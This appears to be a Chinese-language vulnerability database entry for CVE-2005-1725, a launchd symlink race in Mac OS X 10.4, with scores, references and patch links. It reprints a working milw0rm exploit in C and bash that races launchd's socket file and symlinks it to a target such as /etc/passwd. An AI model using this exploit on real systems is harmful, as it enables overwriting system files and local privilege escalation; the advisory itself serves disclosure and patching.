CVE-2005-1725
CVSS2.1
发布时间 :2005-06-08 00:00:00
修订时间 :2016-10-17 23:22:05
NMCOE    

[原文]launchd 106 in Apple Mac OS X 10.4.x up to 10.4.1 allows local users to overwrite arbitrary files via a symlink attack on the socket file in an insecure temporary directory.


[CNNVD]Apple Mac OS X 'launchd 106' 安全漏洞(CNNVD-200506-047)

        Apple Mac OS X 10.4.x到10.4.1版本中的launchd 106存在安全漏洞,本地用户可通过对不安全临时文件夹里的套接字文件发起symlink攻击,从而覆盖任意文件。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:apple:mac_os_x_server:10.4Apple Mac OS X Server 10.4
cpe:/o:apple:mac_os_x_server:10.4.1Apple Mac OS X Server 10.4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1725
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1725
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200506-047
(官方数据源) CNNVD

- 其它链接及资源

http://lists.apple.com/archives/security-announce/2005/Jun/msg00000.html
(VENDOR_ADVISORY)  APPLE  APPLE-SA-2005-06-08
http://marc.info/?l=bugtraq&m=111833509424379&w=2
(UNKNOWN)  BUGTRAQ  20050608 [ Suresec Advisories ] - Mac OS X 10.4 - launchd local root vulnerability
http://www.suresec.org/advisories/adv3.pdf
(VENDOR_ADVISORY)  MISC  http://www.suresec.org/advisories/adv3.pdf

- 漏洞信息

Apple Mac OS X 'launchd 106' 安全漏洞
低危 资料不足
2005-06-08 00:00:00 2005-10-20 00:00:00
远程※本地  
        Apple Mac OS X 10.4.x到10.4.1版本中的launchd 106存在安全漏洞,本地用户可通过对不安全临时文件夹里的套接字文件发起symlink攻击,从而覆盖任意文件。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        Apple Mac OS X 10.3.9
        Apple SecUpd2005-006Pan.dmg
        http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=06439&platform=osx&method=sa/SecUpd2005-006Pan.dmg
        Apple Mac OS X Server 10.3.9
        Apple SecUpd2005-006Pan.dmg
        http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=06439&platform=osx&method=sa/SecUpd2005-006Pan.dmg
        Apple Mac OS X Server 10.4.1
        Apple SecUpd2005-006Ti.dmg
        http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=06440&platform=osx&method=sa/SecUpd2005-006Ti.dmg
        Apple Mac OS X 10.4.1
        Apple SecUpd2005-006Ti.dmg
        http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=06440&platform=osx&method=sa/SecUpd2005-006Ti.dmg

- 漏洞信息 (1043)

Mac OS X 10.4 launchd Race Condition Exploit (EDBID:1043)
osX local
2005-06-14 Verified
0 intropy
N/A [点击下载]
/*
 *  Mac OS X 10.4 launchd race condition exploit
 *
 *  intropy (intropy <at> caughq.org)
 */

/* .sh script to help with the offsets /str0ke
#!/bin/bash

X=1000
Y=3000
I=1

while ((1))
do
    ./CAU-launchd /etc/passwd $X
    if [ $I -lt 30 ]
    then
        ((X=$X+$Y))
        ((I=$I+1))
    else
        X=1000
        I=1
    fi
done
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define DEBUG 0
#define SLEEP 6000

main(int argc, char *argv[])
{
    pid_t pid;
    int count, sleep = SLEEP;
    char name[100];    
    char target[100];
    struct stat *stats = (struct stat *)malloc(sizeof(struct stat));

    if ( argc < 2) {
        fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
        exit(-1);
    } else if ( argc > 2 ) {
        sleep = atoi(argv[2]);
        strncpy(target, argv[1], sizeof(target)-1);
    } else {
        strncpy(target, argv[1], sizeof(target)-1);
    }

    if ( DEBUG ) printf("Going for %s\n", target);
    if ( DEBUG ) printf("Using usleep %d\n", sleep);

    pid = fork();

    if ( pid == 0 ) {
        if ( DEBUG ) {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/ 2>/dev/null");
        } else {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");
        }
    } else {
        snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);
        if ( DEBUG ) printf("Checking %s\n", name);
        usleep(sleep);
        if ( DEBUG ) printf("Removing sock...\n");
        if ( (unlink(name)) != 0 ) {
            if ( DEBUG ) perror("unlink");
        } else {
            if ( (symlink(target, name)) != 0 ) {
                if ( DEBUG ) perror("symlink");
            } else {
                if ( DEBUG ) printf("Created symlink %s -> %s...\n", name, target);
            }
        }
        stat(target, stats);
        if ( stats->st_uid == getuid() ) {
            printf("Looks like we got it\n");
            usleep(10000000);
        }
    }
}

// milw0rm.com [2005-06-14]
		

- 漏洞信息

17265
Apple Mac OS X launchd launchd_server_init() Race Condition
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

Mac OS X contains a flaw that may allow a malicious local user to manipulate arbitrary files on the system. The issue is due to the launchd creating temporary files insecurely wihtin the launchd_server_init() function. It is possible for a user to use a symlink style attack to manipulate arbitrary files, resulting in a loss of integrity.

- 时间线

2005-06-02 Unknow
2005-06-14 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Apple has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站